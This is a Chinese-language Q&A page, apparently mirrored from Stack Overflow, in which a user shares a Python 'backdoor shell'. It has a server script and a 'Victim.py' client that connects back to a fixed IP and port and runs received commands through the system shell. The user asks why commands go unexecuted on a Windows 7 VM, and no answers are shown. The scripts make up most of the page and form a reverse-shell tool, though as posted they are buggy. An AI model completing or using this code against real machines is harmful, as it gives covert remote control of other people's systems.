Python套接字脚本未与Python客户端脚本连接

时间:2019-06-19 21:51:02

标签: python linux sockets virtual-machine

我一直在搞怪套接字编程,并在python中创建了一个名为“ Server.py”的后门外壳脚本,以便能够与虚拟机上的另一个名为“ Victim.py”的脚本连接并能够运行命令从主机发送到受害者命令行并在我继续之前执行...这是两个脚本的代码

#Server.py

import socket
import sys

# Creating a socket


def socket_create():
    try:

        global host
        global port
        global s
        host = '192.168.1.75'
        port = 9999
        s = socket.socket()
    except socket.error as msg:
        print("Socket could not be created: " + str(msg))


# Bind socket to port and wait for connection
def socket_bind():
    try:
        global host
        global port
        global s
        print("Binding socket to port: " + str(port))
        s.bind((host, port))
        s.listen(5)
    except socket.error as msg:
        print("Socket failed at binding " + str(msg) + "\n " + "Retrying...")
        socket_bind()

# Establish a connection with victim


def socket_accept():
    conn, address = s.accept()
    print(" Connected to " + "IP: " +
          address[0] + "\n\nport number is " + str(address[1]))

    send_commands(conn)
    conn.close()

# Send commands


def send_commands(conn):
    while True:
        cmd = input()
        if cmd == 'quit':
            conn.close()
            s.close()
            sys.exit()

        if len(str.encode(cmd)) > 0:
            conn.send(str.encode(cmd))
            client_response = str(conn.recv(1024), "utf-8")
            print(client_response)


def main():
    socket_create()
    socket_bind()
    socket_accept()


main()

这是我的受害者。

#Victim.py

import os
import socket
import subprocess


s = socket.socket()
host = '192.168.1.75'
port = 9999
s.connect((host, port))

while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[3:].decode("utf-8"))
    if len(data) > 0:
        cmd = subprocess.Popen(data[:].decode(
            "utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)


ouputbytes = cmd.stdout.read() + cmd.stderr.read()
outputstr = str(outputbytes, "utf-8")
s.send(str.encode(outputstr + str(os.getcwd()) + '>'))
print(outputstr)
s.close()

一切正常,并且客户端连接到我的Ubuntu计算机...但是,当我运行命令却没有...时,Windows 7 VM上的客户端在应该执行我键入的命令时保持空闲Ubuntu机器,我已经遍历代码,更改了端口号,并更改了接受的字节数(1024、2048、3000等),似乎没有任何作用,因此,如果其中存在某种类型的错误,我的代码或我显然缺少的东西,请告诉我。

0 个答案:

没有答案